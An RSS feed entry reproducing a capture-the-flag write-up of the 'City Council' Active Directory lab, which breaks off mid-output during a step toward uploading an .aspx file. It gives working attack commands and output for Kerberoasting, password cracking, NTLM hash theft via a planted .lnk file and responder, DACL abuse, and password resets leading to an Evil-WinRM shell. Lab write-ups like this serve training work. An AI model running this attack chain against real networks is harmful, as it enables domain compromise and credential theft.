<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.19...v2026.7.1">v2026.6.19...v2026.7.1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hack Smarter — City Council (Active Directory)]]></title>
<description><![CDATA[Hack Smarter - City Council (Active Directory)Can an application for public service requests lead to full domain compromise? You would probably say no. But you’re wrong. And I am going to show you why.● Discovering the service accountWe were given only an IP address to start from. So I launched a...]]></description>
<link>https://tsecurity.de/de/3638144/hacking/hack-smarter-city-council-active-directory/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638144/hacking/hack-smarter-city-council-active-directory/</guid>
<pubDate>Wed, 01 Jul 2026 12:21:41 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Hack Smarter - City Council (Active Directory)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eddEkzGamUsumsIAEyvC-Q.png"></figure><p>Can an application for public service requests lead to full domain compromise? You would probably say no. But you’re wrong. And I am going to show you why.</p><p><strong><em>● Discovering the service account</em></strong></p><p>We were given only an IP address to start from. So I launched a scan to see which ports were open and which services were available.</p><pre>rustscan -a 10.1.65.124 -- -A</pre><p>I used <em>rustscan</em> because I like the option to pass <em>nmap</em> flags directly for the open ports. The scan revealed the following results:</p><pre>PORT      STATE SERVICE       REASON  VERSION<br>53/tcp    open  domain        syn-ack Simple DNS Plus<br>80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0<br>| http-methods: <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: City Hall - Your Local Government<br>88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-04-07 16:20:34Z)<br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack<br>464/tcp   open  kpasswd5?     syn-ack<br>593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack<br>3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack<br>3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DC-CC.city.local<br>| Issuer: commonName=DC-CC.city.local<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-02-26T17:26:36<br>| Not valid after:  2026-08-28T17:26:36<br>| MD5:   6b9a:3a36:385d:f60a:43ef:3281:cafa:50fb<br>| SHA-1: b9ad:bca4:bad8:52b8:732f:3307:7b4b:d035:f389:3ce2<br>| -----BEGIN CERTIFICATE-----<br>...<br>|_-----END CERTIFICATE-----<br>| rdp-ntlm-info: <br>|   Target_Name: CITY<br>|   NetBIOS_Domain_Name: CITY<br>|   NetBIOS_Computer_Name: DC-CC<br>|   DNS_Domain_Name: city.local<br>|   DNS_Computer_Name: DC-CC.city.local<br>|   DNS_Tree_Name: city.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-04-07T16:21:30+00:00<br>|_ssl-date: 2026-04-07T16:21:41+00:00; 0s from scanner time.<br>5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>9389/tcp  open  mc-nmf        syn-ack .NET Message Framing<br>47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49665/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49666/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49669/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>49670/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49671/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49676/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49677/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49680/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49698/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49709/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49716/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: DC-CC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>After adding the corresponding entries to <em>/etc/hosts</em>, I started with the most interesting items I found, the shared drives (port 445) and the website (port 80).</p><p>Unfortunately, anonymous login didn’t reveal any shared drive, so I had to leave that for the moment.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient -L \\\\city.local<br><br>Password for [WORKGROUP\rootshellace]:<br>Anonymous login successful<br><br> Sharename       Type      Comment<br> ---------       ----      -------<br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><p>Since I didn’t get anything useful, I started browsing the website, looking for possible attack paths. An initial scan with <em>gobuster</em> revealed a sub-directory named uploads. This was useful in a later step.</p><pre>Starting gobuster in directory enumeration mode<br>===============================================================<br>/index.html           (Status: 200) [Size: 24118]<br>/uploads              (Status: 301) [Size: 149] [--&gt; http://city.local/uploads/]<br>Progress: 4614 / 4615 (99.98%)</pre><p>The website didn’t look very interesting until I got to a page where you could download an application, for both Linux and Windows, to submit various form requests. The executables were available here: http://city.local/documents-forms.html.</p><p>I ran strings on both files, in an attempt to find possible hard-coded elements. I found a token and something looking like a hash, but couldn’t do anything with them.</p><p>The next step I took was to simulate submitting a dummy request from the app and see what happens. Now, here is where I found the first handy item. The application had a logging screen and the name of a used service account was displayed.</p><pre>[20:12:06] Application form loaded. Please complete all required fields.<br>[20:12:06] Service: Public Works Service Request<br>[20:12:06] System ready for form validation and processing.<br>[20:12:59] Validating application form...<br>[20:12:59] Connecting to City Council Directory Services...<br>[20:12:59] Using dedicated service account: svc_services_portal<br>[20:13:01] Performing LDAP bind request - Portal Service Authentication...<br>[20:13:02] Performing Search: citizen records database...<br>[20:13:03] Performing Validate: application eligibility criteria...<br>[20:13:04] Performing Update: service request tracking system...<br>[20:13:05] Performing Log: public services audit trail...<br>[20:13:05] Performing Verify: resident information consistency...<br>[20:13:06] Performing Process: automated workflow routing...<br>[20:13:07] Performing Update: municipal service database...<br>[20:13:07] Authenticating service account with DC-CC.city.local...<br>[20:13:07] ✓ Directory service authentication completed<br>[20:13:07] ✓ Application validated successfully<br>[20:13:07] ✓ Service request processed and logged<br>[20:13:07] ✓ Workflow routing completed<br>[20:13:07] ✓ Database update successful</pre><p>I tested svc_services_portal user with an empty password. The test failed, but it confirmed I got a valid user.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u svc_services_portal -p ''<br><br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [-] city.local\svc_services_portal: STATUS_LOGON_FAILURE </pre><p><strong><em>● Obtaining the password for the service account</em></strong></p><p>I initially tried to use as a password the token I found using strings, but it didn’t work. So, how do we get the password?</p><p>Since the authentication was done automatically when executing the app locally, I intercepted the traffic using Wireshark, then followed the corresponding stream and got the password for the service account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MNjuO144ltU9jXl_7xDHw.png"><figcaption>Password for service account</figcaption></figure><p>I tested the credential pair and got the confirmation that they are valid.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u svc_services_portal -p &lt;REDACTED&gt;<br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [+] city.local\svc_services_portal:&lt;REDACTED&gt; </pre><p><strong><em>● Get the Active Directory structure using BloodHound</em></strong></p><p>Having a valid pair of credentials, I used it to get an idea of how Active Directory was structured for that entity.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodhound-python -u svc_services_portal -p &lt;REDACTED&gt; -ns 10.1.65.124 -d city.local -c All</pre><p>Once I obtained the archive containing the <em>.json</em> files, I imported it in <em>BloodHound</em>. I checked if svc_services_portal had any interesting permissions or was part of any useful groups, but nothing came up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*2EfWKtUdVHy_G0OzCXYw2w.png"><figcaption>BloodHound info on svc_services_portal</figcaption></figure><p>This account looked like a dead end, so I moved on checking if there were any Kerberoastable users. I found clerk.john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*WapDTB7h6wV3KZYzrldu9Q.png"><figcaption>Kerberoastable users</figcaption></figure><p><strong><em>● Get access as </em></strong><strong><em>clerk.john</em></strong></p><p>The first step was to get the Kerberos hash for this user. I used <em>GetUserSPNs</em> script from <em>impacket.</em></p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $impacket-GetUserSPNs city.local/svc_services_portal:&lt;REDACTED&gt; -dc-ip 10.1.65.124 -request</pre><p>Once I got it, I passed it to <em>john</em> to crack it.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt john_clerk_hash_krb.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;REDACTED&gt;        (?)     <br>1g 0:00:00:02 DONE (2026-04-07 21:37) 0.3816g/s 729306p/s 729306c/s 729306C/s clouds96..clenol<br>Use the "--show" option to display all of the cracked passwords reliably<br>Session completed. </pre><p>To make sure the password was OK, I tested the credentials.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u clerk.john -p &lt;REDACTED&gt;<br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [+] city.local\clerk.john:&lt;REDACTED&gt; </pre><p>I went back to <em>BloodHound</em> to verify this new user, but it didn’t have any useful access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*HSbgpYh3N5f920xjcX15Ig.png"><figcaption>BloodHound info on clerk.john</figcaption></figure><p><strong><em>● Get access as </em></strong><strong><em>jon.peters</em></strong></p><p>Because BloodHound didn’t reveal any lead, I went back to the shared drives and enumerated again, this time as clerk.john.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient -L \\city.local -U clerk.john<br>Password for [WORKGROUP\clerk.john]:<br><br> Sharename       Type      Comment<br> ---------       ----      -------<br> ADMIN$          Disk      Remote Admin<br> Backups         Disk      <br> C$              Disk      Default share<br> IPC$            IPC       Remote IPC<br> NETLOGON        Disk      Logon server share <br> SYSVOL          Disk      Logon server share <br> Uploads         Disk      <br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><p>Well, better than anonymous login, at least I had something to work with. On Backups drive I got a <em>Permission Denied</em> error when attempting to connect, but I was able to map the Uploads directory. Inside, among other files, I found an email from <em>Emma Hayes</em>. It was mentioned that write access was granted to <em>Jon Peters</em> on this drive and NTLM authentication was used.</p><p>The next step was to start a listener, with <em>responder</em>, on the VPN interface I was using for the challenge.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $sudo responder -I tun0</pre><p>Then, I created a fake <em>.lnk</em> file, using ntlm_theft.py - available <a href="https://github.com/Greenwolf/ntlm_theft"><em>here</em></a></p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $python3 ~/Tools/ntlm_theft/ntlm_theft.py -g lnk -s &lt;MY_VPN_IP&gt; -f fake_note</pre><p>Finally, I deployed it on the Uploads shared drive. After a couple of seconds, in the terminal where the listener was launched, I got the NTLMv2 hash for jon.peters.</p><pre>[SMB] NTLMv2-SSP Client   : 10.1.65.124<br>[SMB] NTLMv2-SSP Username : CITY\jon.peters<br>[SMB] NTLMv2-SSP Hash     : &lt;REDACTED&gt;</pre><p>I went back to <em>john</em>, to crack this new hash and obtain the corresponding password.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john jon_peters_ntlm_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;REDACTED&gt;   (jon.peters)     <br>1g 0:00:00:10 DONE (2026-06-26 15:28) 0.09451g/s 1260Kp/s 1260Kc/s 1260KC/s 1234ถ6789..1234dork<br>Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably<br>Session completed. </pre><p>Again, I wanted to verify if the login was OK.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u jon.peters -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\jon.peters:&lt;REDACTED&gt; </pre><p>I got the confirmation that everything was fine with the access for this user.</p><p><strong><em>● Lateral movement to </em></strong><strong><em>nina.soto</em></strong></p><p>Since I obtained a new set of credentials, I returned to <em>BloodHound</em> to see what I could find. Still no useful group membership, but jon.peters had GenericWrite access on 3 different users: maria.clerk, paul.roberts and nina.soto .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Euh5T9ZLRXIRxmgWwReAQA.png"><figcaption>BloodHound info on Jon Peters</figcaption></figure><p>I used targetedKerberoast.py tool (available <a href="https://github.com/ShutdownRepo/targetedKerberoast"><em>here</em></a>) to obtain the Kerberos hash for these 3 users.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $~/Tools/targetedKerberoast/targetedKerberoast.py -v -d 'city.local' -u 'jon.peters' -p '&lt;REDACTED&gt;' --dc-ip 10.1.65.124</pre><p>Then, passed all 3 hashes to <em>john</em>, for cracking.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john --format=krb5tgs three_hash_krb.txt --wordlist=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 3 password hashes with 3 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;MARIA_PWD_REDACTED&gt;    (?)     <br>&lt;NINA_PWD_REDACTED&gt;     (?)     <br>2g 0:00:00:20 DONE (2026-06-26 15:58) 0.09652g/s 692266p/s 1614Kc/s 1614KC/s !!12Honey..*7¡Vamos!<br>Use the "--show" option to display all of the cracked passwords reliably<br>Session completed. </pre><p>I was able to get the passwords only for 2 of the 3 users. However, it was something I could work with. But I had to test them before, to confirm they were OK, and the confirmation came.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u maria.clerk -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\maria.clerk:&lt;REDACTED&gt; <br>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u nina.soto -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\nina.soto:&lt;REDACTED&gt; </pre><p><strong><em>● Pivoting from </em></strong><strong><em>emma.hayes to </em></strong><strong><em>sam.brooks and getting the user flag</em></strong></p><p>I reexamined the shared drive permissions, this time with the 2 new found accounts. Although maria.clerk didn’t have anything interesting, for nina.soto , I noticed there was <em>read access</em> on Backups.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbmap -u nina.soto -p &lt;REDACTED&gt; -H city.local<br><br>    ________  ___      ___  _______   ___      ___       __         _______<br>   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\<br>  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)<br>   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/<br>    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /<br>   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \<br>  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)<br>-----------------------------------------------------------------------------<br>SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com<br>                     https://github.com/ShawnDEvans/smbmap<br><br>[*] Detected 1 hosts serving SMB                                                                                                  <br>[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          <br>                                                                                                                             <br>[+] IP: 10.1.65.124:445 Name: city.local           Status: Authenticated<br> Disk                                                   Permissions Comment<br> ----                                                   ----------- -------<br> ADMIN$                                             NO ACCESS Remote Admin<br> Backups                                            READ ONLY <br> C$                                                 NO ACCESS Default share<br> IPC$                                               READ ONLY Remote IPC<br> NETLOGON                                           READ ONLY Logon server share <br> SYSVOL                                             READ ONLY Logon server share <br> Uploads                                            NO ACCESS <br>[*] Closed 1 connections                                                                                </pre><p>I connected to that shared drive and found some backup profiles for clerk.john and sam.brooks. I downloaded them on my local machine. Initially, the download of the file for clerk.john was failing due to a timeout error, but I managed to fix this by adding -m SMB2 parameter to the initial <em>smbclient</em> command.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient \\\\city.local\\Backups -U nina.soto<br>Password for [WORKGROUP\nina.soto]:<br>Try "help" to get a list of possible commands.<br>smb: \&gt; dir<br>  .                                   D        0  Thu Oct 30 18:55:14 2025<br>  ..                                  D        0  Thu Oct 30 18:55:14 2025<br>  Documents Backup                   Dn        0  Thu Oct 30 18:55:14 2025<br>  UserProfileBackups                 Dn        0  Thu Oct 30 20:55:27 2025<br><br>  12966143 blocks of size 4096. 8391255 blocks available<br>smb: \&gt; cd UserProfileBackups<br>smb: \UserProfileBackups\&gt; dir<br>  .                                  Dn        0  Thu Oct 30 20:55:27 2025<br>  ..                                 Dn        0  Thu Oct 30 20:55:27 2025<br>  clerk.john_ProfileBackup_0729.wim     An 69883158  Thu Oct 30 18:23:22 2025<br>  sam.brooks_ProfileBackup_0728.wim      A   130326  Thu Oct 30 20:55:12 2025<br><br>  12966143 blocks of size 4096. 8391254 blocks available<br>smb: \UserProfileBackups\&gt; get sam.brooks_ProfileBackup_0728.wim<br>getting file \UserProfileBackups\sam.brooks_ProfileBackup_0728.wim of size 130326 as sam.brooks_ProfileBackup_0728.wim (90,4 KiloBytes/sec) (average 90,4 KiloBytes/sec)<br>smb: \UserProfileBackups\&gt; get clerk.john_ProfileBackup_0729.wim<br>parallel_read returned NT_STATUS_IO_TIMEOUT<br>smb: \UserProfileBackups\&gt; getting file \UserProfileBackups\clerk.john_ProfileBackup_0729.wim of size 69883158 as clerk.john_ProfileBackup_0729.wim SMBecho failed (NT_STATUS_CONNECTION_DISCONNECTED). The connection is disconnected now</pre><p>To see what was available on those 2 profiles, I installed wimtools. You could either extract them locally, or map them. I chose to extract them, then navigated through the available content.</p><p>Inside the profile of sam.brooks, I found an email mentioning web_admin account, which was moved to Quarantine OU due to some security concerns. Also, another mention was made related to the web server, which had ASP.NET enabled and file uploads of <em>.aspx</em> pages were possible. This helped me later.</p><p>For clerk.john, I found another email from Emma Hayes, where she mentioned she would share her credentials to be used for urgent tasks while she was on vacation. Those were stored in <em>Credential Manager</em>. I found some corresponding key files, but also the <em>PowerShell History</em> file for the console log. After examining it, I got the plaintext credentials of emma.hayes.</p><pre>cmdkey /add:city-dc /user:city.local\emma.hayes /pass:&lt;REDACTED&gt;<br>cmdkey /add:DC-CC.city.local /user:emma.hayes /pass:&lt;REDACTED&gt;</pre><p>Of course, I tested the connection with the new pair and got the confirmation that it was all good.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u emma.hayes -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\emma.hayes:&lt;REDACTED&gt; </pre><p>Back to <em>BloodHound</em>, looking for useful access on Emma. Over there, I found out she had WriteDacl rights on CityOps OU and 3 other users: sam.brooks , alex.king and rita.cho . I used that permission to grant FullControl for her on CityOps , using dacledit.py .</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $sudo ./dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'emma.hayes' -target-dn 'OU=CITYOPS,DC=CITY,DC=LOCAL' 'city.local'/'emma.hayes':&lt;REDACTED&gt;</pre><p>Then, I looked over all those 3 users under CityOps OU and their permissions. The one that proved to be the most useful was sam.brooks , because it was part of Remote Management Users. First, I had to enable it, since it was disabled.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD --host 10.1.65.124 -d 'city.local' -u 'emma.hayes' -p &lt;REDACTED&gt; remove uac 'sam.brooks' -f ACCOUNTDISABLE<br>[+] ['ACCOUNTDISABLE'] property flags removed from sam.brooks's userAccountControl</pre><p>Next, I reset the password for this account, using the same tool as previously, bloodyAD.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD -u 'emma.hayes' -p &lt;REDACTED&gt; -d 'city.local' --host 10.1.65.124 set password 'sam.brooks' 'Password123'<br>[+] Password changed successfully!</pre><p>Finally, I tested it and made sure the credentials were valid.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u sam.brooks -p Password123<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\sam.brooks:Password123 </pre><p>Since this user was a member of Remote Management Users, I connected to the machine using evil-winrm and got the user flag located on <em>Desktop</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $evil-winrm -i 10.1.65.124 -u sam.brooks -p Password123<br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; whoami<br>city\sam.brooks<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; dir<br>*Evil-WinRM* PS C:\Users\sam.brooks\Documents&gt; cd ..\Desktop<br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt; dir<br><br><br>    Directory: C:\Users\sam.brooks\Desktop<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025  11:57 AM           1594 user.txt<br><br><br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt; type user.txt<br><br>&lt;REDACTED_FLAG&gt;<br><br><br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡰⠚⠉⠀⠀⠉⠑⢦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠀⠀⠀⠀⠀⠀⠀⠀⠱⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⢀⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⣠⠔⠋⠉⣩⣍⠉⠙⠢⣄⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⢧⡜⢏⠓⠒⠚⠁⠈⠑⠒⠚⣹⢳⡸⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⠀⠀⠘⣆⠸⡄⠀⠀⠀⠀⠀⠀⢠⠇⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⠀⢀⡴⠚⠉⢣⡙⢦⡀⠀⠀⢀⡰⢋⡜⠉⠓⠦⣀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⠀⡴⠁⢀⣀⣀⣀⣙⣦⣉⣉⣋⣉⣴⣋⣀⣀⣀⡀⠈⢧⠀⠀⠀⠀⠀<br>⠀⠀⠀⠀⡸⠁⠀⢸⠀⠀⠀⠀⢀⣔⡛⠛⡲⡀⠀⠀⠀⠀⡇⠀⠈⢇⠀⠀⠀⠀<br>⠀⠀⠀⢠⠇⠀⠀⠸⡀⠀⠀⠀⠸⣼⠽⠯⢧⠇⠀⠀⠀⠀⡇⠀⠀⠘⡆⠀⠀⠀<br>⠀⠀⠀⣸⠀⠀⠀⠀⡇⠀⠀⠀⠳⢼⡦⢴⡯⠞⠀⠀⠀⢰⠀⠀⠀⠀⢧⠀⠀⠀<br>⠀⠀⠀⢻⠀⠀⠀⠀⡇⠀⠀⠀⢀⡤⠚⠛⢦⣀⠀⠀⠀⢸⠀⠀⠀⠀⡼⠀⠀⠀<br>⠀⠀⠀⠈⠳⠤⠤⣖⣓⣒⣒⣒⣓⣒⣒⣒⣒⣚⣒⣒⣒⣚⣲⠤⠤⠖⠁⠀⠀⠀<br>⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀<br>⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿<br>*Evil-WinRM* PS C:\Users\sam.brooks\Desktop&gt;</pre><p><strong><em>● Move </em></strong><strong><em>web_admin from </em></strong><strong><em>Quarantine to </em></strong><strong><em>CityOps and reset the password to get access to it</em></strong></p><p>I remembered about the <em>.aspx</em> files for the web server. However, being connected as user sam.brooks didn’t allow me to upload the required file. I verified the permissions and concluded I needed access as web_admin.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ACL -Path .\test.aspx | Format-Table -Wrap<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Path      Owner                  Access<br>----      -----                  